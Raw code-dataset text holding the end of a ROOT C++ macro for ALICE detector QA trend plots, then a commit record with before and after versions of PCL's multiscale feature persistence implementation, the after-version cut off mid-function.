TString::Format(\"QA.%s\",detName).Data());\n\t runCounter[treeCounter++]=treeQADet->Draw(\"run\",\"1\",\"goff\");\n\t}else{\n\t ::Error(\"qaTrending.InitTrees\",\"Missing Tree QA.%s - check the syntax\",detName);\n\t}\n }\n }\n }\n \/\/\n \/\/ Check consistency of data\n \/\/ \n ::Info(\"qaTrending::InitTrees::End\",\"Checking trees\");\n TList *arrFriends = treeQADet->GetListOfFriends();\n for (Int_t ifriend=0; ifriend<arrFriends->GetEntries(); ifriend++){\n Int_t entries = treeQADet->Draw(TString::Format(\"run-%s.run\", arrFriends->At(ifriend)->GetName()).Data(),\"1\",\"goff\");\n Double_t mean=0;\n if (entries>0) {\n mean=TMath::Mean(entries, treeQADet->GetV1());\n }\n if (mean==0){\n ::Info(\"qaTrending::InitTrees\", \"Friend:\\t%s\\t%d\\t%f\", arrFriends->At(ifriend)->GetName(), entries,mean);\n }else{\n ::Error(\"qaTrending::InitTrees\", \"Friend:\\t%s\\t%d\\t%f\", arrFriends->At(ifriend)->GetName(), entries,mean);\n }\n }\n delete detArray;\n ::Info(\"qaTrending::InitTrees::End\",\"Detector %s, RefDet=%s\",detector, referenceDet);\n\n return treeQADet; \n}\n\n\nvoid SetDrawStyle(){\n \/\/\n \/\/ Standard drawing style\n \/\/\n gROOT->SetStyle(\"Plain\");\n gStyle->SetPalette(1);\n gStyle->SetLabelSize(0.04,\"x\");\n gStyle->SetPadTickX(1);\n gStyle->SetPadTickY(1);\n}\n\n \n\n\nTObjArray * GetTexDescription(TLatex *latex){\n \/\/\n \/\/\n \/\/\n TObjArray * description= new TObjArray();\n TString sTimestamp = TString::Format(\"Creation time:%s\",gSystem->GetFromPipe(\"date\").Data());\n TString sUser=TString::Format(\"User:%s\",gSystem->GetFromPipe(\"echo $USER\").Data()); \n TString sPeriod=TString::Format(\"period:%s\",period); \n TString sPass=TString::Format(\"pass:%s\",pass); \n TString sAlirootVer;\n TString sAliphysicsVer;\n \/\/TString runStat=\n if (gSystem->GetFromPipe(\"echo $ALICE_VER\") == \"master\" || gSystem->GetFromPipe(\"echo $ALICE_VER\") == \"\"){\n sAlirootVer = \"AliRoot: \" + gSystem->GetFromPipe(\"wdir=`pwd`; cd $ALICE_ROOT\/..\/src; git describe; cd $wdir;\");\n }else {\n sAlirootVer = \"AliRoot: \" + gSystem->GetFromPipe(\"echo $ALIROOT_VERSION\");\n }\n if (gSystem->GetFromPipe(\"echo $ALIPHYSICS_VER\") == \"master\" || gSystem->GetFromPipe(\"echo $ALIPHYSICS_VER\") == \"\"){\n sAliphysicsVer = \"AliPhysics: \" + gSystem->GetFromPipe(\"wdir=`pwd`; cd $ALICE_PHYSICS\/..\/src; git describe; cd $wdir;\");\n }else {\n sAliphysicsVer = \"AliPhysics: \" + gSystem->GetFromPipe(\"echo $ALIPHYSICS_VERSION\");\n }\n \/\/\n description->AddLast(latex->DrawLatexNDC(latex->GetX(), latex->GetY(),sTimestamp.Data()));\n description->AddLast(latex->DrawLatexNDC(latex->GetX(), latex->GetY()-1.1*latex->GetTextSize(),sUser.Data()));\n description->AddLast(latex->DrawLatexNDC(latex->GetX(), latex->GetY()-2.2*latex->GetTextSize(),sPeriod.Data()));\n description->AddLast(latex->DrawLatexNDC(latex->GetX(), latex->GetY()-3.3*latex->GetTextSize(),sPass.Data()));\n description->AddLast(latex->DrawLatexNDC(latex->GetX(), latex->GetY()-4.4*latex->GetTextSize(),sAlirootVer.Data()));\n description->AddLast(latex->DrawLatexNDC(latex->GetX(), latex->GetY()-5.5*latex->GetTextSize(),sAliphysicsVer.Data()));\n return description;\n}\n\n\nvoid InitSummaryTrending(TTree * tree){\n \/\/\n \/\/ Init drawing for the <detector> QA\n \/\/ Detector specific qaConfig() has to be called before invoking this function\n \/\/ 0.) Make descriptor \n \/\/ 1.) Make default canvas - addopt canvas width to the number of entries to draw\n \/\/ 3.) compute detector status graphs\n\n \/\/\n \/\/ 0.) Make descriptor \n \/\/\n TLatex *latex= new TLatex;\n latex->SetX(0.11);\n latex->SetY(0.8);\n latex->SetTextSize(0.03);\n descriptionQA = GetTexDescription(latex);\n \/\/\n \/\/ 1.) Make default canvas - addopt canvas width to the number of entries to draw\n \/\/\n TGraphErrors *gr = (TGraphErrors*) TStatToolkit::MakeGraphSparse(tree,\"resolution:tagID\",\"\");\n Int_t numberOfTags = gr->GetN();\n cout<<\"number of graph entries: \"<<numberOfTags<<endl;\n double SpaceForLegend = 0.;\n Int_t canvas_width = SpaceForLegend + (numberOfTags+5)*30;\n Int_t canvas_height = 600; \n if ( canvas_width>kMaxCanvasWidth) canvas_width=kMaxCanvasWidth;\n canvasQA = new TCanvas(\"canvasQA\",\"canvasQA\",canvas_width,canvas_height);\n canvasQA->SetGrid(3);\n canvasQA->cd();\n gPad->SetTicks(1,2);\n \/\/ canvasQA->SetRightMargin(SpaceForLegend\/canvas_width);\n double leftlegend = 1 - 180.\/canvasQA->GetWw();\n double rightlegend = 1 - 10.\/canvasQA->GetWw();\n \/\/\n \/\/ 2.) process config file qaConfig.C to initialize status aliases (outliers etc.), status bar criteria, status lines, ...\n \/\/\n TString sStatusbarVars = statusDescription[0];\n TString sStatusbarNames = statusDescription[1];\n TString sCriteria = statusDescription[2];\n cout << \"sStatusbarVars = \" << sStatusbarVars.Data() << endl;\n cout << \"sCriteria = \" << sCriteria.Data() << endl;\n \/\/\n \/\/ 3.) compute detector status graphs\n \/\/\n TObjArray* oaStatusbarVars = sStatusbarVars.Tokenize(\";\");\n TObjArray* oaStatusbarNames = sStatusbarNames.Tokenize(\";\");\n oaMultGr = new TObjArray();\n int igr=0;\n for (Int_t vari=oaStatusbarVars->GetEntriesFast()-1; vari>=0; vari--){ \/\/ invert the order of the status graphs\n TString sVar = Form(\"%s:tagID\", oaStatusbarVars->At(vari)->GetName()); \/\/e.g. -> dcar:run\n oaMultGr->Add( TStatToolkit::MakeStatusMultGr(tree, sVar.Data(), \"\", sCriteria.Data(), igr) );\n TString sYtitle = oaStatusbarNames->At(vari)->GetName(); \/\/ set better name for y axis of statuspad\n ((TMultiGraph*) oaMultGr->At(igr))->SetTitle(sYtitle.Data());\n igr++;\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Software License Agreement (BSD License)\n *\n * Copyright (c) 2011, Alexandru-Eugen Ichim\n * Willow Garage, Inc\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above\n * copyright notice, this list of conditions and the following\n * disclaimer in the documentation and\/or other materials provided\n * with the distribution.\n * * Neither the name of Willow Garage, Inc. nor the names of its\n * contributors may be used to endorse or promote products derived\n * from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n * $Id$\n *\/\n\n#ifndef PCL_FEATURES_IMPL_MULTISCALE_FEATURE_PERSISTENCE_H_\n#define PCL_FEATURES_IMPL_MULTISCALE_FEATURE_PERSISTENCE_H_\n\n#include \"pcl\/features\/multiscale_feature_persistence.h\"\n\ntemplate <typename PointSource, typename PointFeature>\npcl::MultiscaleFeaturePersistence<PointSource, PointFeature>::MultiscaleFeaturePersistence ()\n : distance_metric_ (MANHATTAN),\n feature_estimator_ ()\n{\n feature_representation_.reset (new DefaultPointRepresentation<PointFeature>);\n \/\/ No input is needed, hack around the initCompute () check from PCLBase\n input_.reset (new PointCloud<PointSource> ());\n};\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate <typename PointSource, typename PointFeature> bool\npcl::MultiscaleFeaturePersistence<PointSource, PointFeature>::initCompute ()\n{\n if (!PCLBase<PointSource>::initCompute ())\n {\n PCL_ERROR (\"[pcl::MultiscaleFeaturePersistence::initCompute] PCLBase::initCompute () failed - no input cloud was given.\\n\");\n return false;\n }\n if (!feature_estimator_)\n {\n PCL_ERROR (\"[pcl::MultiscaleFeaturePersistence::initCompute] No feature estimator was set\\n\");\n return false;\n }\n if (scale_values_.empty ())\n {\n PCL_ERROR (\"[pcl::MultiscaleFeaturePersistence::initCompute] No scale values were given\\n\");\n return false;\n }\n\n mean_feature.resize (feature_representation_->getNumberOfDimensions ());\n\n return true;\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate <typename PointSource, typename PointFeature> void\npcl::MultiscaleFeaturePersistence<PointSource, PointFeature>::computeFeaturesAtAllScales ()\n{\n features_at_scale.resize (scale_values_.size ());\n features_at_scale_vectorized.resize (scale_values_.size ());\n for (size_t scale_i = 0; scale_i < scale_values_.size (); ++scale_i)\n {\n FeatureCloudPtr feature_cloud (new FeatureCloud ());\n computeFeatureAtScale (scale_values_[scale_i], feature_cloud);\n features_at_scale[scale_i] = feature_cloud;\n\n \/\/ Vectorize each feature and insert it into the vectorized feature storage\n std::vector<std::vector<float> > feature_cloud_vectorized (feature_cloud->points.size ());\n for (size_t feature_i = 0; feature_i < feature_cloud->points.size (); ++feature_i)\n {\n std::vector<float> feature_vectorized (feature_representation_->getNumberOfDimensions ());\n feature_representation_->vectorize (feature_cloud->points[feature_i], feature_vectorized);\n feature_cloud_vectorized[feature_i] = feature_vectorized;\n }\n features_at_scale_vectorized[scale_i] = feature_cloud_vectorized;\n }\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate <typename PointSource, typename PointFeature> void\npcl::MultiscaleFeaturePersistence<PointSource, PointFeature>::computeFeatureAtScale (float &scale,\n FeatureCloudPtr &features)\n{\n feature_estimator_->setRadiusSearch (scale);\n feature_estimator_->compute (*features);\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate <typename PointSource, typename PointFeature> float\npcl::MultiscaleFeaturePersistence<PointSource, PointFeature>::distanceBetweenFeatures (const std::vector<float> &a,\n const std::vector<float> &b)\n{\n float dist = 0.0f;\n\n switch (distance_metric_)\n {\n case (MANHATTAN):\n {\n for (size_t i = 0; i < a.size (); ++i)\n dist += fabs (a[i] - b[i]);\n break;\n }\n\n case (EUCLIDEAN):\n {\n for (size_t i = 0; i < a.size (); ++i)\n dist += (a[i] - b[i]) * (a[i] - b[i]);\n dist = sqrt (dist);\n break;\n }\n\n case (JEFFRIES_MATUSITA):\n {\n for (size_t i = 0; i < a.size (); ++i)\n dist += (sqrt ( fabs (a[i])) - sqrt ( fabs (b[i]))) * (sqrt (fabs (a[i])) - sqrt ( fabs (b[i])));\n dist = sqrt (dist);\n break;\n }\n\n case (BHATTACHARYYA):\n {\n for (size_t i = 0; i < a.size (); ++i)\n dist += sqrt (fabs (a[i] - b[i]));\n dist = -log (dist);\n break;\n }\n\n case (CHI_SQUARE):\n {\n for (size_t i = 0; i < a.size (); ++i)\n dist += (a[i] - b[i]) * (a[i] - b[i]) \/ (a[i] + b[i]);\n break;\n }\n\n case (KL_DIVERGENCE):\n {\n for (size_t i = 0; i < a.size (); ++i)\n dist += (a[i] - b[i]) * log (a[i] \/ b[i]);\n break;\n }\n }\n\n return dist;\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate <typename PointSource, typename PointFeature> void\npcl::MultiscaleFeaturePersistence<PointSource, PointFeature>::calculateMeanFeature ()\n{\n \/\/ Reset mean feature\n for (int i = 0; i < feature_representation_->getNumberOfDimensions (); ++i)\n mean_feature[i] = 0.0f;\n\n float normalization_factor = 0.0f;\n for (std::vector<std::vector<std::vector<float> > >::iterator scale_it = features_at_scale_vectorized.begin (); scale_it != features_at_scale_vectorized.end(); ++scale_it) {\n normalization_factor += scale_it->size ();\n for (std::vector<std::vector<float> >::iterator feature_it = scale_it->begin (); feature_it != scale_it->end (); ++feature_it)\n for (int dim_i = 0; dim_i < feature_representation_->getNumberOfDimensions (); ++dim_i)\n mean_feature[dim_i] += (*feature_it)[dim_i];\n }\n\n for (int dim_i = 0; dim_i < feature_representation_->getNumberOfDimensions (); ++dim_i)\n mean_feature[dim_i] \/= normalization_factor;\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate <typename PointSource, typename PointFeature> void\npcl::MultiscaleFeaturePersistence<PointSource, PointFeature>::extractUniqueFeatures ()\n{\n unique_features_indices.resize (scale_values_.size ());\n unique_features_table.resize (scale_values_.size ());\n for (size_t scale_i = 0; scale_i < features_at_scale_vectorized.size (); ++scale_i)\n {\n \/\/ Calculate standard deviation within the scale\n float standard_dev = 0.0;\n std::vector<float> diff_vector (features_at_scale_vectorized[scale_i].size ());\n for (size_t point_i = 0; point_i < features_at_scale_vectorized[scale_i].size (); ++point_i)\n {\n float diff = distanceBetweenFeatures (features_at_scale_vectorized[scale_i][point_i], mean_feature);\n standard_dev += diff * diff;\n diff_vector[point_i] = diff;\n }\n standard_dev = sqrt (standard_dev \/ features_at_scale_vectorized[scale_i].size ());\n PCL_INFO(\"Standard deviation for scale %f is %f\\n\", scale_values_[scale_i], standard_dev);\n\n\n\n \/\/ Select only points outside (mean +\/- alpha * standard_dev)\n std::list<size_t> indices_per_scale;\n std::vector<bool> indices_table_per_scale (features_at_scale[scale_i]->points.size (), false);\n for (size_t point_i = 0; point_i < features_at_scale[scale_i]->points.size (); ++point_i)\n {\n if (diff_vector[point_i] > alpha_ * standard_dev)\n {\n indices_per_scale.push_back (point_i);\n indices_table_per_scale[point_i] = true;\n }\n }\n unique_features_indices[scale_i] = indices_per_scale;\n unique_features_table[scale_i] = indices_table_per_scale;\n }\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate <typename PointSource, typename PointFeature> void\npcl::MultiscaleFeaturePersistence<PointSource, PointFeature>::determinePersistentFeatures (FeatureCloud &output_features,\n boost::shared_ptr<std::vector<int> > &output_indices)\n{\n if (!initCompute ())\n return;\n\n \/\/ Compute the features for all scales with the given feature estimator\n computeFeaturesAtAllScales ();\n\n \/\/ Compute mean feature\n calculateMeanFeature ();\n\n \/\/ Get the 'unique' features at each scale\n extractUniqueFeatures ();\n\n \/\/ Determine persistent features between scales\n\n\/*\n \/\/ Method 1: a feature is considered persistent if it is 'unique' in at least 2 different scales\n for (size_t scale_i = 0; scale_i < features_at_scale_vectorized.size () - 1; ++scale_i)\n for (std::list<size_t>::iterator feature_it = unique_features_indices[scale_i].begin (); feature_it != unique_features_indices[scale_i].end (); ++feature_it)\n {\n if (unique_features_table[scale_i][*feature_it] == true)\n {\n output_features.points.push_back (features_at_scale[scale_i]->points[*feature_it]);\n output_indices->push_back (*feature_it);\n }\n }\n*\/\n \/\/ Method 2: a feature is considered persistent if it is 'unique' in all the scales\n for (std::list<size_t>::iterator feature_it = unique_features_indices.front ().begin (); feature_it != unique_features_indices.front ().end (); ++feature_it)\n {\n bool present_in_all = true;\n for (size_t scale_i = 0; scale_i < features_at_scale.size (); ++scale_i)\n present_in_all = present_in_all && unique_features_table[scale_i][*feature_it];\n\n if (present_in_all)\n {\n output_features.points.push_back (features_at_scale.front ()->points[*feature_it]);\n output_indices->push_back (*feature_it);\n }\n }\n\n \/\/ Consider that output cloud is unorganized\n output_features.header = feature_estimator_->getInputCloud ()->header;\n output_features.is_dense = feature_estimator_->getInputCloud ()->is_dense;\n output_features.width = output_features.points.size ();\n output_features.height = 1;\n}\n\n\n#define PCL_INSTANTIATE_MultiscaleFeaturePersistence(InT, Feature) template class PCL_EXPORTS pcl::MultiscaleFeaturePersistence<InT, Feature>;\n\n#endif \/* PCL_FEATURES_IMPL_MULTISCALE_FEATURE_PERSISTENCE_H_ *\/\n<commit_msg>MSVC fix(?)<commit_after>\/*\n * Software License Agreement (BSD License)\n *\n * Copyright (c) 2011, Alexandru-Eugen Ichim\n * Willow Garage, Inc\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above\n * copyright notice, this list of conditions and the following\n * disclaimer in the documentation and\/or other materials provided\n * with the distribution.\n * * Neither the name of Willow Garage, Inc. nor the names of its\n * contributors may be used to endorse or promote products derived\n * from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n * $Id$\n *\/\n\n#ifndef PCL_FEATURES_IMPL_MULTISCALE_FEATURE_PERSISTENCE_H_\n#define PCL_FEATURES_IMPL_MULTISCALE_FEATURE_PERSISTENCE_H_\n\n#include \"pcl\/features\/multiscale_feature_persistence.h\"\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate <typename PointSource, typename PointFeature>\npcl::MultiscaleFeaturePersistence<PointSource, PointFeature>::MultiscaleFeaturePersistence ()\n : distance_metric_ (MANHATTAN),\n feature_estimator_ ()\n{\n feature_representation_.reset (new DefaultPointRepresentation<PointFeature>);\n \/\/ No input is needed, hack around the initCompute () check from PCLBase\n input_.reset (new pcl::PointCloud<PointSource> ());\n};\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate <typename PointSource, typename PointFeature> bool\npcl::MultiscaleFeaturePersistence<PointSource, PointFeature>::initCompute ()\n{\n if (!PCLBase<PointSource>::initCompute ())\n {\n PCL_ERROR (\"[pcl::MultiscaleFeaturePersistence::initCompute] PCLBase::initCompute () failed - no input cloud was given.\\n\");\n return false;\n }\n if (!feature_estimator_)\n {\n PCL_ERROR (\"[pcl::MultiscaleFeaturePersistence::initCompute] No feature estimator was set\\n\");\n return false;\n }\n if (scale_values_.empty ())\n {\n PCL_ERROR (\"[pcl::MultiscaleFeaturePersistence::initCompute] No scale values were given\\n\");\n return false;\n }\n\n mean_feature.resize (feature_representation_->getNumberOfDimensions ());\n\n return true;\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate <typename PointSource, typename PointFeature> void\npcl::MultiscaleFeaturePersistence<PointSource, PointFeature>::computeFeaturesAtAllScales ()\n{\n features_at_scale.resize (scale_values_.size ());\n features_at_scale_vectorized.resize (scale_values_.size ());\n for (size_t scale_i = 0; scale_i < scale_values_.size (); ++scale_i)\n {\n FeatureCloudPtr feature_cloud (new FeatureCloud ());\n computeFeatureAtScale (scale_values_[scale_i], feature_cloud);\n features_at_scale[scale_i] = feature_cloud;\n\n \/\/ Vectorize each feature and insert it into the vectorized feature storage\n std::vector<std::vector<float> > feature_cloud_vectorized (feature_cloud->points.size ());\n for (size_t feature_i = 0; feature_i < feature_cloud->points.size (); ++feature_i)\n {\n std::vector<float> feature_vectorized (feature_representation_->getNumberOfDimensions ());\n feature_representation_->vectorize (feature_cloud->points[feature_i], feature_vectorized);\n feature_cloud_vectorized[feature_i] = feature_vectorized;\n }\n features_at_scale_vectorized[scale_i] = feature_cloud_vectorized;\n }\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate <typename PointSource, typename PointFeature> void\npcl::MultiscaleFeaturePersistence<PointSource, PointFeature>::computeFeatureAtScale (float &scale,\n FeatureCloudPtr &features)\n{\n feature_estimator_->setRadiusSearch (scale);\n feature_estimator_->compute (*features);\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate <typename PointSource, typename PointFeature> float\npcl::MultiscaleFeaturePersistence<PointSource, PointFeature>::distanceBetweenFeatures (const std::vector<float> &a,\n const std::vector<float> &b)\n{\n float dist = 0.0f;\n\n switch (distance_metric_)\n {\n case (MANHATTAN):\n {\n for (size_t i = 0; i < a.size (); ++i)\n dist += fabs (a[i] - b[i]);\n break;\n }\n\n case (EUCLIDEAN):\n {\n for (size_t i = 0; i < a.size (); ++i)\n dist += (a[i] - b[i]) * (a[i] - b[i]);\n dist = sqrt (dist);\n break;\n }\n\n case (JEFFRIES_MATUSITA):\n {\n for (size_t i = 0; i < a.size (); ++i)\n dist += (sqrt ( fabs (a[i])) - sqrt ( fabs (b[i]))) * (sqrt (fabs (a[i])) - sqrt ( fabs (b[i])));\n dist = sqrt (dist);\n break;\n }\n\n case (BHATTACHARYYA):\n {\n for (size_t i = 0; i < a.size (); ++i)\n dist += sqrt (fabs (a[i] - b[i]));\n dist = -log (dist);\n break;\n }\n\n case (CHI_SQUARE):\n {\n for (size_t i = 0; i < a.size (); ++i)\n dist += (a[i] - b[i]) * (a[i] - b[i]) \/ (a[i] + b[i]);\n break;\n }\n\n case (KL_DIVERGENCE):\n {\n for (size_t i = 0; i < a.size (); ++i)\n dist += (a[i] - b[i]) * log (a[i] \/ b[i]);\n break;\n }\n }\n\n return dist;\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate <typename PointSource, typename PointFeature> void\npcl::MultiscaleFeaturePersistence<PointSource, PointFeature>::calculateMeanFeature ()\n{\n \/\/ Reset mean feature\n for (int i = 0; i < feature_representation_->getNumberOfDimensions (); ++i)\n mean_feature[i] = 0.0f;\n\n float normalization_factor = 0.0f;\n for (std::vector<std::vector<std::vector<float> > >::iterator scale_it = features_at_scale_vectorized.begin (); scale_it != features_at_scale_vectorized.end(); ++scale_it) {\n normalization_factor += scale_it->size ();\n for (std::vector<std::vector<float> >::iterator feature_it = scale_it->begin (); feature_it != scale_it->end (); ++feature_it)\n for (int dim_i = 0; dim_i < feature_representation_->getNumberOfDimensions (); ++dim_i)\n mean_feature[dim_i] += (*feature_it)[dim_i];\n }\n\n for (int dim_i = 0; dim_i < feature_representation_->getNumberOfDimensions (); ++dim_i)\n mean_feature[dim_i] \/= normalization_factor;\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate <typename PointSource, typename PointFeature> void\npcl::MultiscaleFeaturePersistence<PointSource, PointFeature>::extractUniqueFeatures ()\n{\n unique_features_indices.resize (scale_values_.size ());\n unique_features_table.resize (scale_values_.size ());\n for (size_t scale_i = 0; scale_i < features_at_scale_vectorized.size (); ++scale_i)\n {\n \/\/ Calculate standard deviation within the scale\n float standard_dev = 0.0;\n std::vector<float> diff_vector (features_at_scale_vectorized[scale_i].size ());\n for (size_t point_i = 0; point_i < features_at_scale_vectorized[scale_i].size (); ++point_i)\n {\n float diff = distanceBetweenFeatures (features_at_scale_vectorized[scale_i][point_i], mean_feature);\n standard_dev += diff * diff;\n diff_vector[point_i] = diff;\n }\n standard_dev = sqrt (standard_dev \/ features_at_scale_vectorized[scale_i].size ());\n PCL_INFO(\"Standard deviation for scale %f is %f\\n\", scale_values_[scale_i], standard_dev);\n\n\n\n \/\/ Select only points outside (mean +\/- alpha * standard_dev)\n std::list<size_t> indices_per_scale;\n std::vector<bool> indices_table_per_scale (features_at_scale[scale_i]->points.size (), false);\n for (size_t point_i = 0; point_i < features_at_scale[scale_i]->points.size (); ++point_i)\n {\n if (diff_vector[point_i] > alpha_ * standard_dev)\n {\n indices_per_scale.push_back (point_i);\n indices_table_per_scale[point_i] = true;\n }\n }\n unique_features_indices[scale_i] = indices_per_scale;\n unique_features_table[scale_i] = indices_table_per_scale;\n 